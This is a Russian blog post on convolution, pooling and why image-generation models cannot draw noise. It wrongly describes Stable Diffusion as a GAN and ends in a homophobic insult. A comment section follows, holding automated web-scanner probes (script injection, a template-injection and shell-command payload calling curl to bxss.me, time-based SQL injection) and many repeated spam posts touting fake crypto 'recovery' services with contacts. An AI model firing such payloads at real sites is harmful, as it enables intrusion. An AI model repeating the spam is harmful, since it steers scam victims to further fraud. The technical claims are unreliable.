Значит, берём нейросеть-классификатор - и дополняем свёрткой, если заведомо её там не было. И тут мы понимаем, что классификатор и свёртка - это одно и то же? По сути - как классификатор превращает сотни вводов в десяток выводов - так же может и свёртка, так в чём разница? Разница в параметрах: у сети-классификатора параметры инициализируются случайным образом, после чего итеративно меняются на шаг обучения и вычисленный с помощью цепного правила градиент; а у свёрточных сетей - все параметры "преднастроены с завода" таким специальным образом, который "одним выстрелом бьёт двух зайцев": и данные сжимает, сохраняя при этом смысловые элементы - и выделяет границы перехода (между смысловыми элементами). Да что уж тут говорить - этот метод настолько "волшебный", что с его помощью можно даже нарисовать тени на плоских (двухмерных) объектах! Задумывались когда-нибудь, как работают эти прикольные фильтры в фотошопе? А вот как:

U-Net: процесс свёртки. Слева - ввод, посередине - фильтр (ядро свёртки), справа - свёртка. Процесс можно повторять и для свёрток, в результате - сжимая исходник насколько угодно.

Как видно из анимации выше - работает оно предельно просто: по всей матрице ввода проходит маска (ядро свёртки) с произвольными значениями, функция которой - умножать значения в подлежащих ячейках матрицы на свои, а затем суммировать эти значения по всему ядру в одно результирующее значение для ячейки матрицы свёртки. Как не трудно догадаться - степень сжатия зависит от размера ядра свёртки и количества итераций. Матрицу любого исходного размера можно сжать до размера ядра свёртки - за определённое число итераций.

Так выглядит свёртка на конкретном примере (взял из этой статьи):

Слева - оригинал; справа - свёртка. Конкретно это ядро свёртки - увеличивает разницу значений на границах - так называемый "фильтр улучшения чёткости". Матрица этого ядра свёртки - на картинке ниже.

В бесплатной программе GIMP есть наглядный инструмент: фильтры -> общие -> «Матрица свёртки»

Вот ещё примеры самых "базовых" масок 2х2 и 3х3, раздельные по вертикальным и горизонтальным составляющим:

Маски Робертса:

Слева - оригинал; справа - сумма "горизонтальной" и "вертикальной" свёрток

Маски Собеля:

Маски Собеля дают менее точные грани, чем более "шустрый" аналог Робертса, зато - они менее чувствительны к шуму, благодаря чему на практике более популярны.

Ядра свёртки Робертса и Собеля - используются для выделения граней на изображениях. Каждая маска по отдельности - выделяет только вертикальные, либо горизонтальные грани; на примерах выше изображены суммы этих свёрток - выделяющие все грани в совокупности.

Если нужно именно сжать исходник, а не выделить грани, то есть и более простой алгоритм свёртки - "Max Pooling" - он просто сохраняет максимальное значение из каждой группы, удаляя все остальные; за один "проход" сжимая исходник в 4 и более раз:

Max Pooling - самый популярный способ "пулинга" в нейросетях.

Пулинг максимального - самый распространённый, но далеко не единственный способ пулинга - методов придумали множество, есть среди них и довольно нетривиальные - такие как генетический или пирамидный.

Уместен вопрос - почему пулинг максимальных значений более популярен, чем пулинг, например, средних?

сжав картинку в 65 раз, max pooling лучше сохранил усы, а average pooling - лучше сохранил глаза

Как видно на сравнении выше - пулинг исходных изображений может привести к довольно непредсказуемым результатам - поэтому обычно пулингу подвергают не исходники, а их свёртки с выделенными переходами:

другое дело! и усы, и глаза - всё на своих местах, да и разницы практически нет, но max pooling всё же чуточку лучше?

А вот и та самая U-Net, на схеме которой синими стрелочками изображены операции выделения граней свёрткой, а красными - пулинг максимальных значений:

при ядре свёртки 3х3, размерности слоёв свертки всегда различаются на 2 по горизонтали и 2 по вертикали. Если нет - значит используется "костыль", расширяющий матрицы за их границы.

Вернёмся к вопросу распознания и коррекции шума. Если на вход свёрточной нейросети подать картинку с сильными помехами - то свёртка такой нейросети масками, выделяющими границы перехода - лишь усугубит ситуацию: перед такими свёртками, входные данные уместно пропустить через "медианный фильтр" - обычно это маска 3х3 или 5х5, на выходе у которой - самое среднее значение из всех, которые попадают в область маски. Медианный фильтр - эффективное средство подавления случайных аномалий (шума) - но это всё ещё ни в коем смысле не средство восстановления информации.

Слева - оригинал; справа - медианный фильтр 7х7. Помните магнитофоны VHS?

свёртка оригинала и свёртка после медианного фильтра: на последней значительно меньше граней относятся к шуму и больше - к реальным объектам

Так о чём это я? Ах да - нейросети, превращающие текст в картинки. Но какой текст? Где условия? Неужели можно ввести прямо таки что угодно, и нейросеть нарисует?! Лукавят, лукавят эти "дата саентисты"! Что, с руками проблемы? Пальцев многовато? Нет, не туда смотрите. Пальцы, волосы, прочие неестественности - это всё ерунда, которая легко решается нормальным датасетом, архитектурой и обучением. То что нейросети уделяют недостаточно внимания каким-то деталям - как говорится, "дело техники" - пройдёт несколько лет и эти проблемы уйдут в историю. Но есть кое-что, чего "диффузионные" модели не нарисуют - хоть ты тресни! Уже догадываетесь? Вот вам несколько запросов и их результаты - от одной из самых популярных и самых "мощных" среди публично доступных нейросетей - stable diffusion:

"noisy image of mountains"

Я вижу "mountains", но я не вижу "noise". Может быть, я не так смотрю, или не тот запрос? Попробуем другой, чуть более конкретный:

"very bad quality, noisy image, very rubbish and low resolution picture of nature, add noise effect"

И снова неудача! Снова - из всего моего длинного и очень конкретно сформулированного запроса, нейросеть поняла только одно слово "nature".

Не сдаёмся (пока бесплатные генерации ещё есть):

"show two images of same place but one with noise and other without noise to show the difference between noisy image and clear image"

Запрошенной разницы между картинками - лично я не вижу. По моему скромному мнению - количество шума с обоих сторон одинаковое.

Широко известная нейросеть ChatGPT прекрасно понимает, что такое пиксели, что такое шум и в чём разница между картинкой низкого разрешения и картинкой высокого разрешения. Современные, хорошо обученные нейросети это понимают, но результат дать не могут. В чём же дело?

А дело всё в последнем элементе таких вот генеративных нейросетей - благодаря которому их полное название - это "Генеративно-состязательные сети" (Generative adversarial network, сокращённо GAN): речь о том самом состязательном элементе этих нейросетей, назначение которого - "лупить палкой" по генератору, если его "творение" хоть чем-то не устраивает состязателя. Именно поэтому генеративно-состязательные сети показывают нам "залипательные" картинки, как бы "отполированные" до блеска - но не могут показать нам всё то, что "состязатель" помечает "браком"; а бракует он всё то, что вызывает у него "смешанные" чувства - все результаты, которые вызывают у нейросети недостаточную (достаточность задаётся администратором) активацию по классам, соответствующим текстовому запросу пользователя, или же если активация по "плохим" классам (тоже задаются администратором) слишком высокая - например, если у нейросети-классификатора, выступающего в роли состязателя, глядя на выдачу псевдослучайного генератора возникает слишком высокий вывод по классу "шум" - то такой состязатель попросит генератор изменить выдачу - но не сильно - на небольшой определённый шаг. Генератор, по запросу состязателя, внесёт изменения в данные на входном слое нейросети (который теперь, как бы, в роли вывода, где формируется картинка) - на что состязатель ему скажет - в правильном ли направлении были внесены изменения или нет. Если направление не правильное - оно меняется, если правильное - то дополняется. Вот так - внося небольшие изменения в данные (например, в цвет пикселей), за множество итераций, данные на входном слое нейросети подгоняются под максимальный вывод по запрошенным классам и минимальный вывод по "запрещённым" классам (которые обычно связаны с шумом и низким качеством изображения, цензурным контентом и "счётчиком пальцев" - в качестве примера).

Выходит, что раньше - нейросети рисовали руки со странными количествами пальцев, теперь же - не могут выполнить запрос, требующий нарисовать руку с числом пальцев, отличным от пяти:

из крайности в крайность...

Точно так же нейросети и "восстанавливают" информацию, удалённую шумом: строго говоря, они её не восстанавливают, а заменяют наиболее подходящей по контексту. В отличие от медианного фильтра, по сути просто "размазывающего" картинки, заменяющего шум средним значением окружающих его пикселей - генеративно-состязательная нейросеть работает с пикселями отдельно от их соседей - но в связке со смысловым содержанием, которое они учатся выделять с помощью обучения размеченным датасетом. Благодаря такой логике, нейросети могут восстанавливать тонкие линии (даже в один пиксель) и увеличивать разрешение изображений, "врисовывая" между пикселями исходного изображения наиболее подходящие по смыслу:

лица людей содержат "черты" - мельчайшие элементы, на которые заточено человеческое восприятие, поэтому "апскейлинг" (upscaling) в случае с людьми работает... так себе

Источники и ссылки на дополнительные материалы по теме:
Матричные фильтры обработки изображений - хабр
Pooling In Convolutional Neural Networks
Pooling Methods in Deep Neural Networks, a Review - PDF
Классификатор изображений на питоне - youtube
Ряды Тейлора и ряды Фурье в нейросетях - youtube
Оптимизация программы обучения - стохастический градиентный спуск - wikipedia
Свёрточные нейронные сети - wikipedia
ну и моя "записная книжка" - в телеграмме

Публично доступные GAN (авторизация аккаунтом гугл):
https://wepik.com/ai-generate
https://stablediffusionweb.com/

P.S. не советую верить всяким лицам нетрадиционной ориентации, особенно - в части их прогнозов на скорейшее пришествие искусственного сверх-интеллекта и прочих "сингулярностей" - на сегодняшний день это просто смехотворно. Сэм Альтман выдавливает все соки из своего "хайпа", со временем всё больше напоминая эдакую Грету Тундберг в мире нейросетей. Туда же - всех нытиков, кто сетует на нейросети "лишающие" их работы.

Есть лишь один способ угомонить этих "недо-эко-активистов" и остальных плоскоземельщиков - игнорировать их и деликатно презирать всех кто ещё не делает этого. От всей души прошу. Просвещения и всех благ дочитавшим.

Источник

Теги

Категория

Новости

Дата

3 апр. 2024 г.

09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
17.10.25 20:17 tyleradams

